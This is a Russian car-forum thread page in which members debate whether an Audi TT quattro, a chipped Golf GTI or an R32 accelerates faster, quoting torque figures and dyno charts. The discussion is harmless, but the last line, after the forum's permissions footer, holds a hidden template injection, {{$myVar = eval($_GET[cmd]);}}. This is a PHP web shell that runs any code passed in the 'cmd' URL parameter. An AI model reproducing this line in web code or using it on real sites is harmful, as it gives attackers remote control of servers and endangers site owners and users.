+ Ответить в теме
Страница 2 из 3 ПерваяПервая 1 2 3 ПоследняяПоследняя
Показано с 11 по 20 из 28

Тема: TT vs GTI


  1. #11
    Мимо проходил gmur is on a distinguished road Аватар для gmur
    Регистрация
    02.10.2006
    Сообщений
    86
    Заезжал с другом. Я на чипованном ГТИ, он на тт кватро (в старом кузове) чипованной до 250. Едем одинаково. Если сравнивать с ТТ 3.2 новой, то старт конечно за ней, но уехать она потом не может.

  2. #12
    Член клуба ААГ will become famous soon enough ААГ will become famous soon enough Аватар для ААГ
    Регистрация
    06.03.2006
    Сообщений
    2,332
    Originally posted by Griffin@Jun 22 2007, 13:52
    Повторюсь тут. R32 едет 14.1 секу квотер. И максимум выдерет 1-2 корпуса у S3 225 сил. S3 в свою очередь на макс. н1 корпус протянет ГТИ.

    Теперь ровняем на наши условия, и я точно могу сказать, что поедут S3/TT с 5ГТИ в стоке (обе) ровно. Чипованый 5ГТИ проедет R32 (надеюсь увидим в тушино ) ;)
    <div align='right'><{POST_SNAPBACK}></div>
    Почему ты так уверен ?
    у Р.32 полный привод. это дает огромное преимущество на старте
    Можно дурачить всех какое-то время,
    можно дурачить часть людей постоянно,
    но МАМОЧКУ не обманешь
    Закон капитана Пенни
    Трудно спорить со Сталиным - ты ему цитату, а он тебе - ссылку

  3. #13
    Originally posted by ААГ@Jun 22 2007, 16:12
    Почему ты так уверен ?
    у Р.32 полный привод. это дает огромное преимущество на старте
    <div align='right'><{POST_SNAPBACK}></div>
    Потому что после старта он "вянет". Мы на моноприводе проигрываем старт, но у нас разгон дальше в разы лучше (даже в стоке).

  4. #14
    Член клуба ААГ will become famous soon enough ААГ will become famous soon enough Аватар для ААГ
    Регистрация
    06.03.2006
    Сообщений
    2,332
    Originally posted by Griffin@Jun 22 2007, 16:31
    Потому что после старта он "вянет". Мы на моноприводе проигрываем старт, но у нас разгон дальше в разы лучше (даже в стоке).
    <div align='right'><{POST_SNAPBACK}></div>
    Хм не уверен что ты прав.. там все-таки 3.2 литра и 250 сил. (момент не помню.)
    Можно дурачить всех какое-то время,
    можно дурачить часть людей постоянно,
    но МАМОЧКУ не обманешь
    Закон капитана Пенни
    Трудно спорить со Сталиным - ты ему цитату, а он тебе - ссылку

  5. #15
    Originally posted by ААГ@Jun 22 2007, 16:46
    Хм не уверен что ты прав.. там все-таки 3.2 литра и 250 сил. (момент не помню.)
    <div align='right'><{POST_SNAPBACK}></div>
    320 момент. Точно тебе говорю, посмотри графики лс/нм этого мотора, чахнет на глазах&#33;

    Красная (лс) и зеленая (нм) - как на самом деле, серые - как заявлено.

    R32 &#39;05


    R32 &#39;06

  6. #16
    Член клуба ААГ will become famous soon enough ААГ will become famous soon enough Аватар для ААГ
    Регистрация
    06.03.2006
    Сообщений
    2,332
    Originally posted by Griffin@Jun 22 2007, 16:50
    320 момент. Точно тебе говорю, посмотри графики лс/нм этого мотора, чахнет на глазах&#33;

    Красная (лс) и зеленая (нм) - как на самом деле, серые - как заявлено.

    R32 &#39;05


    R32 &#39;06

    <div align='right'><{POST_SNAPBACK}></div>
    Это замеры на колесах ? или на моторе ?
    заявлено на моторе.

    Если сравнить заявленные характеристики - то все неплоо - момент 300 Нм примерно до 5000 оборотов. - это больше чем у ГТИ
    Можно дурачить всех какое-то время,
    можно дурачить часть людей постоянно,
    но МАМОЧКУ не обманешь
    Закон капитана Пенни
    Трудно спорить со Сталиным - ты ему цитату, а он тебе - ссылку

  7. #17
    RRI - институт, делающий замеры для производителей авто (если кому интересно)
    Замеры делаются на ступице. Высчитваются эффективности реализацции мощности

    R32
    http://www.rri.se/popup/performanceg...p?ChartsID=631

    GTI
    http://www.rri.se/popup/performanceg...p?ChartsID=605

    Теперь о том, что у кого. У GTI момент в среднем 290-300 на колесах (замеры это показали и у RRI, редкие экземпляры показывали 310), у R32 в среднем тоже 300. Масса разница примерно на 150-200кг. У R32 сил 225, у ГТИ - 192-195.

    GTI &#39;06


  8. #18
    GTI-Racing STALKER Qx is on a distinguished road Аватар для STALKER Qx
    Регистрация
    10.10.2006
    Сообщений
    45
    ТАк что , думаете шансов нет вообще ? У меня то кватро, прыгнуть хоть успею пока тот буксует ? Тем более у меня же Халдекс стоит, а он подключаемые, а не постоянный...

  9. #19
    Originally posted by Griffin@Jun 22 2007, 13:21
    Чипованый ГТИ ТТ даже не заметит. Стоковый ГТИ поедет с ней наравне.
    <div align='right'><{POST_SNAPBACK}></div>

    +1

  10. #20
    ™B®embo™
    Guest Аватар для ™B®embo™
    Originally posted by STALKER Qx@Jun 22 2007, 13:10
    Есть Ауди ТТ 225сил, 280 момента, меха, кватро. Машина 2002г. пробег 72000. Машина живая, из Японии.

    Есть Гольф GTI5 с ДСГ коробкой + чип. Скока сил не знаю, но наверное 240лс и момента 320.

    Есть ли шансы у меня ? Езжу хорошо. Стартую тоже.
    <div align='right'><{POST_SNAPBACK}></div>
    предчувствие что дернешь если не тупанешь B)

+ Ответить в теме
Страница 2 из 3 ПерваяПервая 1 2 3 ПоследняяПоследняя

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}